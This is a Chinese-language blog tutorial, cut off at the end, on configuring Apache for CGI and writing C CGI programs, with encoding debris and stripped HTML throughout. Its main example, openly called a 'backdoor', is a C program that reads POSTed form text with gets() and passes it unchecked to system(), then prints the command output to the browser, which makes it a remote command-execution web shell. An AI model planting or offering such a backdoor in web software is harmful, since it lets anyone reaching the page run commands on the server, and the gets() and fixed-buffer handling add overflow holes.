c/c++----网站及其后门(CGI应用程序)(一)

2015-07-20 17:08:43 · 作者: · 浏览: 10
C/C++学习到这儿,结合自己曾经学过的javasweb知识,现在让我们来看看,如何做一个CGI程序吧!
?
? ? ? 首先了解一下啥子叫CGI ?:CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。 ? ?----来自百度百科
?
1. ?首先,我们需要 Apache server2.0(学习web,应该必须知道这个的,嘻嘻),安装好该软件之后,也许会出现很多的问题,导致打不开什么的。喵了个咪的,博主本人曾经也是搞了老半天,不过最后,还是搞定了!
?
?
?
? ? (1). 其实主要情况,我遇到就两种,第一种,就是我们为了节约开机时间,将IIS关闭了,或者有些侠客直接将它卸载了! 所以导致打不开! ?
?
?          -----------------------面对这种问题,下一个就好了! ?Apache server2.0 需要 IIS 配合。?
?
? ? ? (2). 第二种就是80端口被占用了,这是最容易发生的情况没有之一。 ?解决的方法有很多,但是个人比较喜欢这样来搞。
?
? ? ?cmd --》 net -ano ? --->查看那些占用了80端口(一般是浏览器什么的居多) 几下他们的 ?PID ,然后在进程管理哪儿关闭就好了!
?
??
?
上面的Apache server 运行起来之后,就在浏览器中 敲入 localhost ,会显示一个
?
?
?
然后修改一个,http.cof文件 ??
?
找到俩个位置:
?
第一个位置: # ?AddHandler cgi-script .cgi ? 将这个语句的前面#注释符去掉
?
第二个位置:?
?
AllowOverride None
Options None ? ?-----将这个位置替换为: ? ?Options Indexes ExecCGI
Order allow,deny
Allow from all
?
?
这两个位置配置好之后。就可以用C/C++ 编程了!
?
第一步:我们编写一个这样的文件
?
? ??
?
?
1 #include
2 int main(int args ,char * argv []) {
3 ??
4 ? ? printf("Content-type:text/html\n\n");
5 ? ? printf("hello world ! 我是cgi ");
6 ? ? getchar();
7 ? return 0;
8 }
?
?编译,生成一个这样的 hello.exe文件、生成之后,我们将hell.exe的属性改为 hello.cgi
?
然后将其放置到,自己安装的Apache server2.0文件中的cgi-bin文件下
?
浏览器中,再输入,localhost/cgi-bin/hello.cgi ?就可以看到这样的画面
?
? ?          
?
2. 那么说了这么多,我们又该用c/c++写一个cgi来做后台,在背后来操作这个数据呢!?
?
? ? 首先,我们需要写一个html,做个web的,对于这些当然,是再easy不过了! 为了节约时间,就写一个简陋点的html吧!!
?
诺,看!
?
?
?1
?2
?3 ? 后台
?4
?5?
?6
?7 ? ? ? ? ? ?

后台界面

?8 ?
?9 ??
10 ? 请输入命令cmd:

?
11 ?
12 ?
13 ?
14
15
?
?
? ?
?
? 当然,这个当我们在做web的时候,这个是可以内嵌到,我们的项目中的!在于你将这个 jsp放到哪个地儿啦!
?
?最后就是重点了! 就像我上面写的cgi一样! 写一个下面这样的代码:
?
?
?
?
?1 #define ?_CRT_SECURE_NO_WARNINGS
?2 #include
?3 #include
?4 //#include
?5 #include
?6?
?7 //以调用System为举例
?8 void func(char ps []) {
?9 ? ? // ps 为cmd命令
10 ? ? char *pl = strchr(ps,'='); ?//pl指向当前的位置
11 ? ? if(pl!=NULL) ? ps = ps + (pl-ps+1);
12 ? ? ?printf("命令cmd = %s\n", ps);
13 ? ? char cmd[256] = {'\0'};
14 ? ? char ?filename[] ?= "Gxjun.txt"; ? //暂定放置于当前目录。
15 ? ? sprintf(cmd,"%s > %s ",ps,filename); ?//将ps的内容写入cmd中
16 ? ? //生成了一条指令
17 ? ? //无论是否执行成功,都会生成一个Gxjun.txt文件
18 ? ? FILE *fp = NULL;
19 ? ? int tag=system(cmd); ?
20 ? ? if (tag == 1) {
21 ? ? ? ? printf("命令格式错误!,请重新输入: ");
22 ? ? ? ? goto loop;
23 ? ? }
24 ? ? if ((fp = fopen(filename, "r")) == NULL) {
25 ? ? ? ? printf("没有发现文件!");
26 ? ? ? ? goto loop ;
27 ? ? ?}
28?
29 ? ? ?while (!feof(fp)) {
30 ? ? ? ? ?char str=fgetc(fp);
31 ? ? ? ? ? if (str == '\n') printf("

\n\n");
32 ? ? ? ? ? else if (str == ' ')printf(" ");
33 ? ? ? ? ? else
34 ? ? ? ? ? ? ? printf("%c",str);
35 ? ? ?}
36?
37 ?loop:
38 ? ? ?if (fp != NULL){
39 ? ? ? ? ?fclose(fp);
40 ? ? ? ? ?//并删除备份的文件
41 ? ? ? ? ?system("del Gxjun.txt");
42 ? ? ?}
43 ? ? ?return ;
44 }
45?
46?
47 int main(int args ,char * argv []) {
48 ??
49 ? ? printf("Content-type:text/ html\n\n");
50 ? ? //打印环境变量
51 ? ? printf("   %s

", getenv("QUERY_STRING"));
52 ? ? char szPost[256] = {'\0'};
53 ? ? gets(szPost); ?//获取输入 ? ?
54 ? ? if ( strlen(szPost) < 1 )
55 ? ? ? ? strcpy( szPost , "ipconfig" );
56 ? ? func(szPost);
57 ? ? getchar();
58 ? retu